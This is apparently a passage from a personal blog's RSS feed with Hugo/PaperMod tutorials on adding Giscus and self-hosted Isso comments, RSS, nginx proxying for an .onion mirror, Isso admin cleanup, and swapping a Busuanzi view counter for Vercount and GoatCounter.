    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
